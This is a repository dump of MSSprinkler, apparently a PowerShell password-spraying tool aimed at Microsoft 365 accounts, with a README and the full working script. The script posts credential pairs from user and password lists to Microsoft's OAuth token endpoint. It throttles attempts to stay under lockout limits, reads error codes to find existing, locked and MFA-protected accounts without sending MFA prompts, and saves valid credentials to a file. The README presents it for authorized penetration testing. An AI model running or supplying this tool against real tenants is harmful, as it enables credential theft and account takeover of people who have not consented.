├── images
├── Animation.gif
└── cybermaxx_logo.png
├── LICENSE
├── README.md
└── mssprinkler.ps1
/images/Animation.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nerodtm/password-spray-O365-account/main/images/Animation.gif
--------------------------------------------------------------------------------
/images/cybermaxx_logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nerodtm/password-spray-O365-account/main/images/cybermaxx_logo.png
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 LucidChartUser
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
14 |
15 |
16 | 
17 | MSSprinkler is sponsored by CyberMaxx.
18 |
19 |
20 |
21 | # Overview
22 |
23 | MSSprinkler is a password spraying utility for organizations to test their Microsoft Online accounts from an external perspective. It employs a 'low-and-slow' approach to avoid locking out accounts, and provides verbose information related to accounts and tenant information.
24 |
25 | ## Contents
26 | - [Description](#description)
27 | - [Current Feature](#current-features)
28 | - [Installation](#install-and-usage)
29 | - [Help](#help)
30 | - [Disclaimer](#disclaimer)
31 |
32 | ## Description
33 | MSSprinkler is written in PowerShell and can be imported directly as a module. It has no other dependencies. MSSprinkler relies on the verbose error messaging provided by Microsoft to identify additional information beyond standard password spray success or failed authentication attempts, which allows for the gathering of additional information related to the user account. MSSprinkler also allows for a configurable threshold to prevent locking out accounts by mistake. By default, this is set to 8 (n-2 under Microsoft's default) however this can be adjusted based on the organizations lockout policy. Additionally, successful sign-in to an account with MFA enabled will not produce an MFA push to the user, allowing for covert information gathering.
34 |
35 | 
36 |
37 | ## Current Features
38 | - Automatically spray a list of Microsoft Online accounts with a password list.
39 | - Low-and-slow approach to avoid locking out accounts.
40 | - Smart detect accounts that do not exist or are locked out, skipping over these to reduce unnecessary traffic and speed up testing.
41 | - Ability to override the default threshold to better match the organizations policy, if required.
42 | - Verbose output, revealing additional information about accounts:
43 | - Detect if an account is locked out.
44 | - Detect if a user exists in the tenant or not.
45 | - Detect if MFA is in use for a given user without triggering the MFA push.
46 | - Output and store results into a csv file.
47 |
48 | ## Install and Usage
49 | ```PowerShell
50 | # Import the module
51 | Import-Module MSSprinkler.ps1
52 |
53 | # Use the module
54 | Invoke-MSSprinkler
55 |
56 | # EXAMPLE USAGE
57 | # Spray using a provided userlist and password list, default URL and threshold
58 | Invoke-MSSprinkler -user userlist.txt -pass passwordlist.txt
59 |
60 | # Spray using a provided userlist and password list, increase threshold to 12 attempts per min and output results to output.csv
61 | Invoke-MSSprinkler -user userlist.txt -pass passwordlist.txt -threshold 12 -output .\output.csv
62 | ```
63 |
64 | ## Help
65 | The userlist file should contain a list of users in the format `users@tenant.com`, one per line. Example below:
66 | ```
67 | user1@tenant.com
68 | user2@tenant.com
69 | ...
70 | user43@tenant.com
71 | ```
72 |
73 | The password list should follow the same format. One password per line:
74 | ```
75 | password1
76 | password2
77 | ...
78 | password10
79 | ```
80 |
81 | Additional help can be viewed within the tool via PowerShells built-in module:
82 | ```PowerShell
83 | Get-Help .\mssprinkler.ps1 -detailed
84 | ```
85 |
86 | Timestamps in the output file are in UTC timezone with the applicable offset for the local user, eg for 2:11pm local time:
87 | ```
88 | 09/17/2024 13:11 +01
89 | ```
90 |
91 | ## Reporting An Issue
92 |
93 | If you encounter an issue with an unhandled error MSSprinkler will provide you with the error code. Please open an issue and reference this error code so that it can be added and handled correctly.
94 |
95 | ## Disclaimer
96 | This tool is to be used only against accounts that you either own or have permission to test during legitimate penetration tests or internal assessments. The author accepts no liability for actions taken by its users.
97 |
--------------------------------------------------------------------------------
/mssprinkler.ps1:
--------------------------------------------------------------------------------
1 | function Invoke-MSSprinkler{
2 | <#
3 | .Synopsis
4 | MSSprinkler is a password spraying utility that targets M365 accounts. It employs a 'low-and-slow' approach to avoid locking out accounts, and provides verbose information related to accounts / tenant information.
5 |
6 | .Description
7 | Version: 0.2
8 | Author: Connor Jackson
9 | GitHub: https://github.com/theresafewconors/mssprinkler
10 |
11 | .Parameter user
12 | A list of users to spray. One per line without commas. eg. user@tenant.com. Provide the path to the file.
13 | .Parameter pass
14 | A list of passwords to use. One per line without commas. Provide the path to the file.
15 | .Parameter threshold
16 | The threshold for the maximum number of attempts to make per min. Default is 8 if no value is provided.
17 | .Parameter URL
18 | URL to target. This will default to 'https://login.microsoftonline.com' if no value is provided.
19 | .Parameter Output
20 | Name of output file to save results to.
21 |
22 | .Example
23 | Invoke-MSSprinkler -user .\users.txt -pass .\passwords.txt -threshold 12
24 | Invoke-MSSprinkler -us .\users.txt -p .\passwords.txt -t 12
25 | #>
26 |
27 | Param(
28 | [string]$user,
29 | [string]$pass,
30 | [int]$threshold = 8,
31 | [string]$url = 'https://login.microsoftonline.com',
32 | [string]$output
33 | )
34 |
35 | # Environment variables for output file
36 | $datetime = Get-Date -UFormat "%m/%d/%Y %R %Z"
37 | $sprayResult = @()
38 |
39 | # Create a list of usernames + passwords to try
40 | $usernames = Get-Content $user
41 | $passwords = Get-Content $pass
42 | $total = $usernames.count * $passwords.count
43 | $exptime = $total / $threshold
44 |
45 | Write-Host -ForegroundColor "yellow" "[*] The url to attack is" $url
46 | Write-Host -ForegroundColor "red" "[*] " $usernames.count "user(s) detected"
47 | Write-Host -ForegroundColor "red" "[*] " $passwords.count "password(s) detected"
48 | Write-Host -ForegroundColor "cyan" "[*] operating at" $threshold "spraying attempts per min. $total combinations found. Expected time to complete is $exptime mins"
49 | if ($output -ne ""){
50 | Write-Host -ForegroundColor "yellow" "[*] Results will be saved to $output"
51 | }
52 | Write-Host -ForegroundColor "red" "[*] Starting Spray..."
53 |
54 | # Init the hashtable
55 | $errorResonseValues = @{}
56 |
57 | # Error ID = (plaintext, csv result) Reference: https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes
58 | $errorResonseValues["AADSTS50126"] = @(" The password for appears to be incorrect.", "Failure")
59 | $errorResonseValues["AADSTS50053"] = @(" WARNING! appears to be locked, skipping further attempts", "Account Locked")
60 | $errorResonseValues["AADSTS90002"] = @(" WARNING! appears to be locked, skipping further attempts", "Account Locked")
61 | $errorResonseValues["AADSTS50034"] = @(" The user not found, tenant appears correct. Skipping further attempts..", "User Does Not Exist")
62 | $errorResonseValues["AADSTS50059"] = @(" Supplied tenant for not found, skipping further attempts..", "Tenant Does Not Exist")
63 | $errorResonseValues["AADSTS50076"] = @("[*] Password for is correct but user has MFA enabled (DUO or MS)", "Correct Password, MFA Blocked")
64 | $errorResonseValues["AADSTS90014"] = @(" Issue with request")
65 |
66 | # Regex for the error ID starting with AADSTS..
67 | $regex = 'AADSTS\d{5}'
68 |
69 | $ErrorActionPreference = 'silentlycontinue'
70 | for ($counter = 0; $counter -lt $usernames.length; $counter++) {
71 | $un = $usernames[$counter]
72 | foreach ($passes in $passwords) {
73 | # Web Request Info
74 | $body = @{ 'client_id' = '5aa316d3-d05a-485f-a849-e05182f87d1d'; 'grant_type' = 'password'; username = $un; password = $passes; scope = 'openid' }
75 | $headers = @{ Accept = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded' }
76 | $response = Invoke-WebRequest -Uri "$url/organizations/oauth2/v2.0/token" -Method Post -Body $body -Headers $headers -ErrorVariable errorResponse
77 |
78 | # Convert error to string
79 | $errorResponseString = $errorResponse | Out-String
80 |
81 | # Successful login attempt
82 | if ($response.StatusCode -eq 200) {
83 | Write-Host -ForegroundColor "green" "[*] SUCCESS! $un : $passes"
84 | $sprayResult += "$datetime, Success, $un, $passes"
85 | $response = ""
86 | Start-Sleep (60 / $threshold)
87 | break
88 | } else {
89 | # Handle unsuccessful attempts
90 | if ($errorResponseString -match 'AADSTS\d{5}') {
91 | $errorCode = $matches[0]
92 | if ($errorResonseValues.ContainsKey($errorCode)) {
93 | # Get error message and replace with the actual username
94 | $values = $errorResonseValues[$errorCode]
95 | $message = $values[0] -replace '', $un
96 | # Special case for locked accounts, incorrect tenants or user not found
97 | if ($errorCode -eq "AADSTS50059" -or $errorCode -eq "AADSTS50034" -or $errorCode -eq "AADSTS50053") {
98 | Write-Host -ForegroundColor "Yellow" "$message"
99 | Start-Sleep (60 / $threshold)
100 | break
101 | } else {
102 | Write-Host "$message"
103 | $sprayResult += "$datetime, $($values[1]), $un, $passes"
104 | Start-Sleep (60 / $threshold)
105 | }
106 | } else {
107 | Write-Host "Unhandled error code: $errorCode"
108 | Start-Sleep (60 / $threshold)
109 | }
110 | }
111 | }
112 | }
113 | }
114 |
115 | # Write the output to a CSV file:
116 | if ($output) {
117 | $sprayResult | Out-File -Encoding ascii $output
118 | }
119 | }
--------------------------------------------------------------------------------